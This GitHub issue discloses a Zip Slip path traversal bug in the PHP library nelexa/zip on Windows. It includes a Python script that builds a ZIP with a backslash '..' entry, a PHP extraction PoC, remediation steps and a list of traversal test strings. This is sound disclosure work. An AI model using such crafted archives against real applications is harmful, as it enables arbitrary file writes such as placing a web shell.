Skip to content

nelexa/zip ZipFile::extractTo() ZIP Slip via Windows Backslash Traversal #100

@dntyfate

Description

@dntyfate

Summary

nelexa/zip is vulnerable to arbitrary file write during archive extraction on Windows. The ZipFile::extractTo() method attempts to prevent Zip Slip by normalizing . and .. path components, but the normalizer only splits entry names on /. A malicious archive entry using Windows backslashes, such as ..\..\poc.txt, is not sanitized and is passed to filesystem APIs as a path outside the intended extraction directory.

Product

  • Project: nelexa/zip / PhpZip
  • Package: pkg:composer/nelexa/zip
  • Package URL: https://packagist.org/packages/nelexa/zip
  • Repository: https://github.com/Ne-Lexa/php-zip
  • Latest released version observed: 4.0.2
  • Packagist security advisories observed: 0

Vulnerability Type

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
  • CWE-73: External Control of File Name or Path
  • Common name: Zip Slip / archive extraction path traversal

Affected Versions

Based on local repository review:

  • 3.1.12 through 4.0.2, and current master, are affected by the Windows backslash traversal bypass.
  • Versions up to and including 3.1.11 appear affected by a broader Zip Slip issue because extraction concatenated raw entry names directly with the destination path.

The current CVE request can describe the affected range as all released versions through 4.0.2, with the note that the exact exploit string differs before and after the 3.1.12 mitigation.

Affected Code

Current master:

  • src/ZipFile.php
    • ZipFile::extractTo() calls FilesUtil::normalizeZipPath($entryName) and writes to $destDir . DIRECTORY_SEPARATOR . $entryName.
  • src/Util/FilesUtil.php
    • FilesUtil::normalizeZipPath() only performs explode('/', $path), so backslash-separated .. components survive on Windows.

Relevant logic:

// src/ZipFile.php
$entryName = FilesUtil::normalizeZipPath($entryName);
$file = $destDir . \DIRECTORY_SEPARATOR . $entryName;
// src/Util/FilesUtil.php
return implode(
    \DIRECTORY_SEPARATOR,
    array_filter(
        explode('/', $path),
        static fn ($part) => $part !== '.' && $part !== '..'
    )
);

Root Cause

ZIP entry names are attacker-controlled. The extraction code treats / as the only separator during normalization, but Windows also treats \ as a path separator. Therefore, an entry name containing ..\..\file.txt is left unchanged by normalizeZipPath() and becomes a real traversal path when joined with the destination directory on Windows.

The existing regression test covers ../dir/./../../file.txt, which is sanitized, but it does not cover Windows backslash separators or mixed separators.

Proof of Concept

Create a malicious ZIP containing a backslash traversal entry:

import zipfile

with zipfile.ZipFile("phpzip-backslash-slip.zip", "w") as z:
    z.writestr(r"..\..\phpzip-poc-marker.txt", "phpzip windows traversal poc\n")

Then extract it with nelexa/zip on Windows. Use a nested extraction root so the marker file escapes that exact root while remaining inside the PoC working directory:

<?php

require __DIR__ . '/vendor/autoload.php';

$zipPath = __DIR__ . '/phpzip-backslash-slip.zip';
$outputBase = __DIR__ . '/poc-output';
$dest = $outputBase . '/extract-root/a/b';
$escapedPath = $outputBase . '/extract-root/phpzip-poc-marker.txt';

if (!is_dir($dest)) {
    mkdir($dest, 0755, true);
}

$zip = new \PhpZip\ZipFile();
$zip->openFile($zipPath);
$zip->extractTo($dest);
$zip->close();

echo "Extraction root: {$dest}\n";
echo "Escaped marker exists: " . (is_file($escapedPath) ? 'yes' : 'no') . "\n";

On Windows, the entry ..\..\phpzip-poc-marker.txt is normalized by the library to the same string. When joined with an extraction directory such as:

<project-root>\poc-output\extract-root\a\b\..\..\phpzip-poc-marker.txt

Windows resolves it outside the extraction root, for example:

<project-root>\poc-output\extract-root\phpzip-poc-marker.txt

Minimal commands:

python .\create_malicious_zip.py
composer install
php .\extract_with_phpzip.php

Equivalent path-resolution behavior:

{
  "Entry": "..\\..\\poc.txt",
  "Normalized": "..\\..\\poc.txt",
  "Joined": "<project-root>\\poc-output\\extract-root\\a\\b\\..\\..\\poc.txt",
  "FullPath": "<project-root>\\poc-output\\extract-root\\poc.txt",
  "Escapes": true
}

Impact

An attacker who can supply a ZIP archive to an application that uses nelexa/zip to extract files on Windows can write files outside the intended extraction directory. Depending on the application context and filesystem permissions, this can lead to:

  • arbitrary file overwrite or creation;
  • application configuration tampering;
  • web shell or script placement in a web-accessible directory;
  • denial of service by overwriting application files.

The vulnerability does not require a malicious ZIP to use symlinks and does not require special ZIP features.

Suggested Severity

Suggested CVSS depends on the consuming application:

  • Server-side archive processing: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 High/Critical boundary)
  • User-assisted extraction workflow: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H (8.1 High)

Suggested Remediation

Do not only remove .. segments. Reject unsafe entry names before writing.

Recommended protections:

  1. Convert both \ and / to a single internal separator before validation.
  2. Reject absolute paths, drive-letter paths, UNC paths, stream-wrapper paths, and paths containing NUL bytes.
  3. Reject any . or .. path component.
  4. Resolve the destination root with realpath().
  5. Join the destination root and sanitized entry name, then verify the final target path remains under the destination root before mkdir(), fopen(), chmod(), touch(), or symlink handling.
  6. Add regression tests for:
    • ..\..\evil.txt
    • safe/..\..\evil.txt
    • safe\..\evil.txt
    • /absolute/path.txt
    • C:\absolute\path.txt
    • \\server\share\path.txt

PoC Files

To reproduce, download both attached files into the root directory of a checkout of this project, then run:

python .\create_malicious_zip.py
composer install
php .\extract_with_phpzip.php

Expected vulnerable output on Windows:

Extraction root: C:\path\to\php-zip\poc-output\extract-root\a\b
Escaped marker:  C:\path\to\php-zip\poc-output\extract-root\phpzip-poc-marker.txt
Marker exists:   yes
Marker content:  phpzip windows traversal poc

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions